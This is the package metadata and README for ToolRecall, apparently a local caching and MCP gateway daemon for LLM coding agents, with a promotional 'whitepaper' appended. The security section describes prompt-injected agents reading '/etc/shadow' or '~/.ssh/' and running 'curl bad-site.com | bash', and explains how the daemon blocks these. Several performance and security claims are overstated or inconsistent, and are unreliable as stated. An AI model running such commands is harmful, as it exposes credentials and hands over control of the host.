Metadata-Version: 2.4
Name: toolrecall
Version: 0.3.0
Summary: Universal Tool-Output Cache for LLM Agents — caches file reads, terminal commands, skills, scripts, and code execution in local SQLite FTS5. Now with MCP server support.
Author-email: Robin Schultka <robin@robka.de>
License: MIT
Project-URL: Homepage, https://github.com/whiskybeer/toolrecall
Project-URL: Repository, https://github.com/whiskybeer/toolrecall
Project-URL: Documentation, https://github.com/whiskybeer/toolrecall#readme
Keywords: tool-cache,llm,agent,token-savings,sqlite,fts5
Classifier: Development Status :: 4 - Beta
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
Requires-Python: >=3.11
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# ToolRecall: The L1 Cache & MCP Multiplexer for LLM Agents

**An $O(N^2)$ Context Mitigation & AI-Gateway Middleware**

ToolRecall is a deterministic middleware layer (API Gateway/WAF) for autonomous AI agents like Claude Code, Cursor, Aider, and Hermes. Think of it as the **L1 Cache** or the **`gzip` for AI context**. It sits directly between the agent and the operating system, catching tool executions and managing external MCP (Model Context Protocol) servers via Unix Domain Sockets (IPC).

When designing systems, engineers usually have to pick two: *Fast, Cheap, or Good*. ToolRecall breaks the Iron Triangle by shifting the execution bottleneck entirely. It delivers on all five axes of agentic architecture:

1. **Faster:** Drops tool execution latency from ~1.5s down to <0.1ms. It eliminates OS polling and sub-process overhead, saving roughly 85 minutes of pure wait time per developer per day.
2. **Cheaper:** By forcing Server-Side Cache hits, it intercepts massive context payloads locally, guaranteeing the 90% discount at Anthropic/OpenAI. It saved **141 Million tokens (~$282)** in a single 13h benchmark.
3. **Deterministic:** It freezes OS state. For the first time, agents can run 100% reproducible loops. OS flakiness and jitter disappear.
4. **Safer (GDPR & Zero-Trust):** It implements a Zero-Trust WAF. Prompt-injected agents are trapped in a cryptographic path sandbox (`os.path.realpath`) and have zero visibility into your API keys. No telemetry. Data stays strictly on your local disk.
5. **Universal:** It requires zero custom plugins. Because it exposes the official `stdio` MCP protocol, any agent on the market can use it out-of-the-box on Day 1.

## Documentation & Guides

- **[Security Architecture & Input Sanitation](SECURITY.md)**: Details the Zero-Trust WAF, SQLi prevention, Path Canonicalization, and OOM limits.
- **[141M Token Benchmark Case Study](docs/BENCHMARK.md)**: How ToolRecall breaks the $O(N^2)$ context snowball.
- **[Return on Investment (ROI) & Cost Savings](docs/ROI_AND_SAVINGS.md)**: CFO-friendly financial projections on API tokens, engineering salaries, and RAM.
- **[Planetary Scale Extrapolation](docs/DATA_CENTER_SCALE.md)**: Macro-economics, GPU silicon, megawatt grids, and why forcing determinism saves Hyperscalers.
- **[Enterprise Scale & The L1 Architecture](docs/ENTERPRISE_SCALE.md)**: Financial projections for 100+ devs, the L1 Cache metaphor, and why OpenAI/Anthropic server-side caching is insufficient.
- **[The Latency Pitch](docs/LATENCY_PITCH.md)**: How 1.5ms execution latency saves 85 minutes of wait time.
- **[Emergent Byproducts](docs/BYPRODUCTS.md)**: Offline coding, attention profiling, and zero-penalty context switching.
- **[Zero-Trust Stealth Vision](docs/STEALTH_VISION.md)**: The end-game of Swarm OS and passive RLHF data generation.
- **[Troubleshooting & FAQ](docs/TROUBLESHOOTING.md)**: Fixes for common issues like Access Denied or caching stale data.
- **[Architecture Audit & Roadmap](docs/AUDIT_AND_ROADMAP.md)**: A strict auditor's view of current limitations, vulnerabilities, and the path to Enterprise Readiness (v0.6.0).

---

## Universal Agent Compatibility (Drop-In MCP)
ToolRecall is completely client-agnostic. Because it exposes a standard `stdio` MCP interface (`toolrecall mcp`), it works out-of-the-box with **any** modern AI agent. You don't need to change a single line of your agent's code. 

**This provides massive value for all skills and all agents, not just Hermes.** Whether you are doing data-science via Jupyter, doing front-end work via Cursor, or general tasks via Claude Desktop, ToolRecall caches the filesystem underneath them.

For example, to supercharge **Claude Code** with the L1 cache, simply add it as a server:
```bash
claude mcp add toolrecall toolrecall mcp
```
For **Cursor IDE**, you just add `toolrecall` as an MCP server with the command `toolrecall mcp` in your settings.

Check the `examples/` directory in this repository for full integration guides for **Cursor**, **Claude Desktop**, and the official **MCP Inspector**.

---

## The Core Problem: The Context Snowball

LLM context windows are stateless. Every time an agent reads a 10,000-token file to debug an issue, those 10,000 tokens are added to the history. If the session continues for 100 turns, those same 10,000 tokens are re-transmitted to the API 100 times, costing 1,000,000 billed input tokens.

**The ToolRecall Solution (Micro-RAG):**
1. Agents read the file once.
2. The agent is instructed to *drop* the file dump from its active context window to save space.
3. If the agent needs the file again hours later, ToolRecall serves the *exact byte-for-byte output* from its local SQLite cache instantly.
4. If the file is modified (`write_file`), ToolRecall's locking mechanism instantly invalidates the cache.

**Zero Hallucination:** Unlike Vector-DBs that use LLMs to summarize older context (which introduces hallucinations), ToolRecall returns raw `stdout` and JSON data deterministically.

---

## The Determinism Guarantee (Proof)

Autonomous agents are notoriously "flaky" because the real world is non-deterministic. A 20ms network delay, a `429 Rate Limit`, or a slightly changed timestamp in a JSON response can alter the LLM's latent space (the Butterfly Effect), causing the agent to hallucinate, panic, or take a completely different reasoning path.

ToolRecall acts as a **Frozen State Environment Simulator** and mathematically guarantees determinism:

1. **Byte-Exact Replay:** When an agent calls a tool, ToolRecall hashes the exact arguments (e.g., `md5(github://issues/get?id=5)`). On subsequent calls, it returns the *exact same bytes*. The world is paused. The agent is not derailed by updated timestamps, altered sorting, or fluctuating data.
2. **Zero Jitter:** Network timeouts and API rate limits are eliminated. The agent receives its environment observations in a constant, flat $1.5$ms.
3. **100% Reproducible Trajectories:** If you set your LLM to `temperature=0` and run it through ToolRecall, the agent will execute the exact same workflow 100 times out of 100. It effectively generates a deterministic "mock" of the real world on the fly.

*(Note: To intentionally break determinism for real-time monitoring like CI/CD polling, developers must explicitly set `ttl=0` in the config).*

---


## Why OS-Level Middleware? (The Hourglass Architecture)

When optimizing agent bottlenecks, the instinct is often to build caching directly into the agent framework (e.g., a custom VSCode extension) or as a semantic proxy in front of the LLM API. Both approaches fail at scale.

ToolRecall sits at the exact "neck of the hourglass"—the narrow IPC layer between diverse agent frameworks above, and diverse host environments below. This positioning unlocks three systemic advantages:

1. **Zero Vendor Lock-In:** A cache built into Claude Code only speeds up Claude Code. Because ToolRecall operates at the OS/Socket level via the MCP protocol, it acts as a universal router. Cursor, Aider, Cline, and custom scripts can all benefit simultaneously without custom integrations.
2. **The "Swarm Cache":** If Agent A pays the latency cost to read a massive repository, and a developer spins up a completely different agent (Agent B) two seconds later, Agent B instantly receives the cache hit from the shared SQLite database. They physically share the same memory.
3. **Deterministic Fidelity:** API-level proxy caching relies on Vector/Semantic matching, which is lossy and introduces hallucinations. ToolRecall catches the exact execution bytes via OS interception, guaranteeing 100% data fidelity without vector databases.

---
## Architecture & Security (The "Armor")

ToolRecall is not just a cache; it is a **Security Sandbox (WAF)** designed for Zero-Trust AI deployments. It doesn't cure an LLM of being prompt-injected, but it physically cages the agent to neutralize the *consequences* of a successful injection. This achieves three critical enterprise goals: Security, Confidentiality, and Integration.

1. **Daemon-Based (IPC):** ToolRecall runs as a persistent daemon. Agents communicate with it via Unix Domain Sockets (`/run/user/1000/toolrecall.sock`). There are no open TCP ports (immune to SSRF and port scanning).
2. **Cryptographic Path Resolution (Directory Traversal Drop):** Instead of trusting the LLM's system prompt, ToolRecall enforces a hard Python-level allowlist via `os.path.realpath`. If a prompt injection tricks the agent into reading `../../../etc/shadow` or `~/.ssh/`, the daemon resolves the path and drops the request with `Access Denied` before the OS is touched.
3. **Execution Blackholes:** By default, `allow_terminal = false`. If an injection attempts Remote Code Execution (RCE) via `curl bad-site.com | bash`, the daemon drops the payload into a black hole.
4. **Air-Gapped API Secrets (Confidentiality):** Standard agents load API keys into their environment variables, making them vulnerable to leaking. ToolRecall manages MCP servers internally—the daemon authenticates with external APIs using `~/.toolrecall/.env`. **The LLM never sees the actual tokens**, making it impossible to leak them during a prompt injection attack.
5. **The Ultimate Read-Only Sandbox (Security):** In `config.toml`, you can toggle `[security] read_only_sandbox = true`. This engages a Tool-Firewall that intercepts every MCP tool call going to *any* downstream server. If the tool name contains words like `write`, `execute`, `delete`, or `push`, the payload is dropped. This guarantees mathematically that an autonomous agent can explore your system, read databases, and browse code, without physically being able to alter a single byte of state.
6. **Zero-Integration Penetration (Integrativity):** Because it exposes a standard `stdio` MCP protocol rather than custom plugin APIs, ToolRecall achieves 100% ecosystem penetration instantly. It can securely sit between any model, any agent framework, and any database without custom code.

---

## Features (v0.3.0)

### 1. Byte-Exact Tool Caching
- **File Cache:** Invalidates instantly based on file modifications (`mtime`) and internal invalidation locks.
- **Terminal Cache:** Caches read-only shell commands based on TTLs (e.g., `git status` for 30s).

### 2. The Universal MCP Multiplexer (AI Gateway)
Running 5 different MCP Servers (GitHub, Postgres, Brave Search, etc.) per session wastes RAM (~600MB) and startup time.
- ToolRecall acts as a persistent host (Gateway) for **all** your MCP servers.
- **Lazy Loading:** Servers boot in 0.01s only when a tool is requested.
- **Idle Timeout:** Servers are killed after 15 minutes of inactivity to recover RAM (dropping daemon footprint from 130MB to 11MB).
- Agents only connect to **ONE** server: `toolrecall mcp`.

### 3. Sandbox Container Pool (Kubernetes / Risk Isolation)
Docker `docker run --rm` costs 1–2s cold start. The [Sandbox Container Pool](docs/sandbox-container-pool.md) keeps N warm containers ready for **~5ms exec latency** — ideal for kubectl, untrusted package installs, or any repetitive sandboxed task.

---

## Installation & Quickstart

**Requirements:** Python 3.10+, standard SQLite.

```bash
# 1. Install via pip (GitHub release)
pip install git+https://github.com/whiskybeer/toolrecall.git
# Note: A PyPI release (`pip install toolrecall`) is pending.

# 2. Initialize default config and .env (Creates ~/.toolrecall/)
toolrecall init

# 3. Start the Daemon in the background
toolrecall daemon &
```

### Usage: Claude Code (Drop-in Replacement)
To instantly make Claude Code 80% cheaper and faster, route it through ToolRecall:
```bash
claude mcp add toolrecall toolrecall mcp
```

### Usage: Python Import (Direct Stats Testing)
You can test the caching mechanism and view your live saved tokens directly via Python without needing an MCP client:

```python
from toolrecall.cache import cached_read, get_stats
import json

# 1. Trigger a cache hit
result = cached_read("README.md")
print(f"Cached: {result['cached']}")

# 2. View your live savings
print(json.dumps(get_stats(), indent=2))
```

### Configuration & Secrets
Settings are managed in `~/.toolrecall/config.toml`.
Secrets (like `GITHUB_PERSONAL_ACCESS_TOKEN`) should be placed in `~/.toolrecall/.env`. The daemon securely loads them before launching subprocesses. No secrets are ever stored in Git or passed via the LLM context.

```toml
[mcp]
allowed_paths = ["~/projects", "~/.hermes/skills"]
allow_terminal = false # Security: Prevents Prompt Injection executions
default_ttl = 60 # Default TTL for MCP requests in seconds

[mcp_multiplex]
enabled = true
idle_minutes = 15

[mcp_multiplex.servers_config]
# ToolRecall multiplexes all your MCP servers through a single connection.
# Servers are lazy-loaded on the first call and killed after 15min idle to save RAM.

# 1. GitHub (Manage PRs, Issues, and Repositories)
github = { command = "npx", args = ["-y", "@modelcontextprotocol/server-github"], ttl = 60 }

# 2. Sequential Thinking (Anthropic's official Chain-of-Thought Whiteboard)
sequential-thinking = { command = "npx", args = ["-y", "@modelcontextprotocol/server-sequential-thinking"] }

# 3. Brave Search (Live web search to look up fresh documentation)
brave-search = { command = "npx", args = ["-y", "@modelcontextprotocol/server-brave-search"], ttl = 3600 }

# Set ttl = 0 to entirely bypass caching for dynamic endpoints (like CI logs or real-time data)
```

## Data Engine (RLHF / SFT Trajectories)
As a byproduct of OS-level interception, ToolRecall's SQLite database naturally records pristine pairs of (Action $\rightarrow$ State Observation), including failed executions and subsequent corrections. 

You can extract this data to train open-weight AI models to become better autonomous agents.
```bash
toolrecall export-dataset ~/trajectories.jsonl
```
This generates a clean JSONL dataset ready for Supervised Fine-Tuning (SFT) or Direct Preference Optimization (DPO).
## Cross-Platform Support
ToolRecall uses **Unix Domain Sockets (IPC)** for daemon communication, making it highly secure.
- **Linux:** Uses `XDG_RUNTIME_DIR` (e.g., `/run/user/1000/toolrecall.sock`).
- **macOS / Windows 10+:** Falls back automatically to `~/.toolrecall/toolrecall.sock`. Windows Named Pipes/AF_UNIX are supported.

## Status
**Experimental.** ToolRecall is currently used in heavy autonomous agent workflows. Before deploying it in production CI/CD environments, ensure your allowlist is strictly scoped.

---

# Appendix: Scientific Whitepaper

*The following section details the theoretical foundation, architecture, and empirical findings of ToolRecall, formatted for academic review in the context of Large Language Model (LLM) agent infrastructure.*

## Mitigating $O(N^2)$ Context Scaling in Autonomous LLM Agents via Operating System-Level Middleware Caching

### Abstract
Autonomous Large Language Model (LLM) agents interact with their environments by executing tools (e.g., reading files, running shell commands, querying APIs). In persistent sessions, the stateless nature of LLM context windows forces the redundant transmission of historical tool outputs at each conversational turn. Due to the quadratic computational complexity ($O(N^2)$) of the Transformer attention mechanism, this context accumulation exponentially increases Time-To-First-Token (TTFT) latency and API inference costs. We present **ToolRecall**, a deterministic, OS-level caching middleware utilizing Unix Domain Sockets (IPC) and SQLite. By serving redundant tool calls from a local exact-match cache (1.5ms latency), we enable aggressive context pruning. Empirical benchmarks from a 13-hour agentic coding session demonstrate a 91% cache hit rate, saving 141.1 million input tokens and eliminating 85 minutes of compounded network and execution latency. Furthermore, the architecture passively yields high-fidelity trajectory datasets suitable for Direct Preference Optimization (DPO) and Supervised Fine-Tuning (SFT).

### 1. Introduction
The current paradigm of agentic AI relies on continuous iterative loops (Observe → Reason → Act). When an agent observes its environment via a tool (e.g., `cat main.py`), the output is appended to the context window. As the session progresses, the context grows linearly, but the computational cost of the attention mechanism scales quadratically. This leads to the "Context Snowball" effect: a single 10,000-token log file read at turn $T_1$ will be redundantly re-transmitted to the API for all subsequent turns $T_2 \dots T_N$, incurring massive financial cost and increasing TTFT latency by tens of seconds.

Current solutions focus on server-side *Prompt Caching* (which reduces compute costs but still requires the agent to locally execute the tool and transmit the data) or *Vector-Database RAG* (which relies on lossy, non-deterministic semantic embeddings that are prone to hallucination). We propose an alternative: an OS-level middleware that intercepts tool executions and returns byte-exact responses.

### 2. Architecture
ToolRecall operates as an independent Daemon process bridging the LLM agent and the host operating system (including MCP—Model Context Protocol servers).

**2.1. IPC Middleware via Unix Domain Sockets:**
To ensure security and bypass network overhead, communication occurs exclusively over Unix Domain Sockets (`AF_UNIX`). This prevents Server-Side Request Forgery (SSRF) and restricts access strictly to the host user.

**2.2. Deterministic State Caching:**
The system employs a two-tier architecture:
1.  *In-Memory LRU Cache:* For highly frequent file reads, achieving $< 0.002$ ms lookups.
2.  *Persistent SQLite FTS5 Database:* Acts as a "Micro-RAG" store for terminal commands and API responses. Unlike semantic RAG, it enforces exact-hash matching. If the state of the environment diverges (detected via `mtime` or write-locks), the cache is strictly invalidated to prevent stale-data hallucinations.

**2.3. Sandboxing & Threat Mitigation:**
By migrating execution logic from the agent's prompts to a deterministic Python middleware, ToolRecall acts as a Web Application Firewall (WAF) for the LLM. It enforces hard path allowlists and command gating, neutralizing Prompt Injections designed to exfiltrate unauthorized data (e.g., `~/.ssh/`).

### 3. Empirical Results
A benchmark was conducted using the DeepSeek-v4-Flash model operating autonomously via the Hermes agent framework during a 13-hour software engineering task.

**Table 1: Cache Efficiency and Token Mitigation**
| Cache Layer | Hits | Misses | Hit Rate | Tokens Mitigated |
| :--- | :--- | :--- | :--- | :--- |
| File I/O | 666 | 62 | 91% | 141,105,842 |
| Terminal / OS | 143 | 15 | 91% | 1,220 |
| MCP Network | 10 | 18 | 37% | 254 |
| **Total** | **827** | **104** | **89%** | **141,112,165** |

**Latency Analysis:**
Redundant executions bypassing the OS fork (`subprocess`) and Node.js MCP server boot overhead reduced local tool execution time from $\sim 1.5$ seconds to $0.0015$ seconds ($1000\times$ speedup). Combined with the reduction in API context bloat, total waiting time mitigated was calculated at $\sim 85$ minutes.

### 4. Discussion: Beyond Latency
**4.1. The Necessity of Determinism in Agents:**
Agentic workflows frequently fail due to environmental stochasticity (e.g., fluctuating network latency, changing API timestamps). By serving frozen, exact-byte cache hits for identical requests within a session, ToolRecall enforces determinism. This converts unstable LLM routines into predictable, testable pipelines analogous to mock-testing in traditional software engineering.

**4.2. Passive Generation of Trajectory Data:**
A significant bottleneck in training open-weight models for agentic tasks is the scarcity of high-quality trajectory data. As a byproduct of OS-level interception, ToolRecall's SQLite database naturally records pristine pairs of (Action $\rightarrow$ State Observation), including failed executions and subsequent corrections. This yields a zero-cost pipeline for generating JSONL datasets suitable for RLHF (Reinforcement Learning from Human Feedback) and DPO.

### 5. Conclusion
Addressing context inflation at the model architecture level ignores the redundant I/O operations occurring on the host machine. Operating System-level middleware proxy caching represents a critical infrastructure layer necessary for the economical and deterministic scaling of autonomous AI agents.
